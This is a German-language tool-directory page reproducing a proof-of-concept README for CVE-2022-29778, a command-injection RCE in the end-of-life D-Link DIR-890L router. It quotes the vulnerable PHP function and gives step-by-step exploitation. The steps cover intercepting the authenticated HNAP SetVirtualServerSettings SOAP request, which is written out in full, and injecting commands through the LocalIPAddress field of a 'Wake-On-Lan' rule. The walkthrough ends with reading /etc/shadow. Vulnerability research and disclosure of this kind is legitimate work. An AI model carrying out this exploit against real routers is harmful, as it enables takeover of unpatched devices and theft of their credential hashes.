Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
DIR-890L-1.20-RCE — Analyse und PoC für D-Link DIR-890L RCE (CVE-2022-29778) | Kitploit
Tools/GitHubGitHub/tyeyeah/dir-890l-1.20-rce
Embedded-System-SicherheitIoT-SicherheitSchwachstellenanalyseExploitationWebanwendungs-ExploitationCommand and Control
GitHubtyeyeah/dir-890l-1.20-rce

DIR-890L-1.20-RCE

Analyse und PoC für D-Link DIR-890L RCE (CVE-2022-29778)

Repository anzeigen
19vor 4 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

D-Link DIR-890L RCE

Betroffene Version: <= v1.22B01 Hotfix (aktuellste)

Firmware: Hier

Dieses Modell hat das Ende seines Lebenszyklus erreicht. Die mit diesen Produkten verbundenen Ressourcen wurden nicht mehr weiterentwickelt und werden nicht mehr unterstützt.
D-Link Systems, Inc. empfiehlt, diese Produkte auszumustern und durch Produkte zu ersetzen, die Firmware-Updates erhalten.

Schwachstelle

In der Firmware finden wir eine Funktion getWOLMAC in SetVirtualServerSettings.php

function getWOLMAC($ipv4addr)
{
	$cmd = "scut -p ".$ipv4addr." -f 3 /proc/net/arp";
	setattr("/runtime/wakeonlan/mac", "get", $cmd);
	$mac = get("", "/runtime/wakeonlan/mac");
	del("/runtime/wakeonlan/mac");
	return $mac;
}

$cmd verkettet $ipv4addr direkt in den Befehl ohne Filterung, und sie wird aufgerufen in

		$ipv4addr = get("x", "LocalIPAddress");
        ...
		if($description == "Wake-On-Lan")
		{
			$wolmac = getWOLMAC($ipv4addr);
			set($vsvr_entry.":".$InDeX."/wakeonlan_mac", $wolmac);
		}

Wenn Sie also $description (entspricht dem Namen des virtuellen Servers) auf "Wake-On-Lan" setzen, kann auf den Seiten des virtuellen Servers: /VirtualServer.html eine RCE (Remote Code Execution) auftreten.

Ausnutzung

  • Es erfordert Authentifizierung, melden Sie sich daher zuerst an.
    Anmeldung
    Startseite

  • Rufen Sie dann die Seite des virtuellen Servers (/VirtualServer.html) auf, die über das Panel nicht erreichbar ist.
    Virtueller Server

  • Fügen Sie eine Regel mit dem Namen Wake-On-Lan hinzu.
    Regel hinzufügen
    Regelergebnisse

  • Starten Sie burpsuite vor dem Klick auf Save und fangen Sie das folgende Paket:
    Paket

POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/xml
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/xml
SOAPACTION: "http://purenetworks.com/HNAP1/SetVirtualServerSettings"
HNAP_AUTH: A4A816AE6CF2AC5537B0EB390FFB591C 1436839665
Content-Length: 765
Origin: http://192.168.0.1
Connection: close
Referer: http://192.168.0.1/VirtualServer.html
Cookie: uid=ZeNYZag3Gw

<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
	<soap:Body>
		<SetVirtualServerSettings>
			<VirtualServerList>
				<VirtualServerInfo>
					<Enabled>true</Enabled>
					<VirtualServerDescription>Wake-On-Lan</VirtualServerDescription>
					<ExternalPort>1</ExternalPort>
					<InternalPort>1</InternalPort>
					<ProtocolType>TCP</ProtocolType>
					<ProtocolNumber>6</ProtocolNumber>
					<LocalIPAddress>192.168.0.100</LocalIPAddress>
					<ScheduleName></ScheduleName>
				</VirtualServerInfo>
			</VirtualServerList>
		</SetVirtualServerSettings>
	</soap:Body>
</soap:Envelope>
  • Richten Sie einen HTTP-Server ein und dann:
    Python-Server

  • Verwenden Sie das Modul Repeater, um die RCE (Remote Code Execution) zu testen:
    burpsuite

  • Und wir erhalten:
    Ergebnis

  • Testen Sie die Befehlsinjektion und lesen Sie /etc/shadow:
    Befehl ls /busy/box
    Ergebnis
    Befehl ls /busybox -al
    Ergebnis
    Befehl cat /etc/shadow
    Ergebnis

Tool herunterladen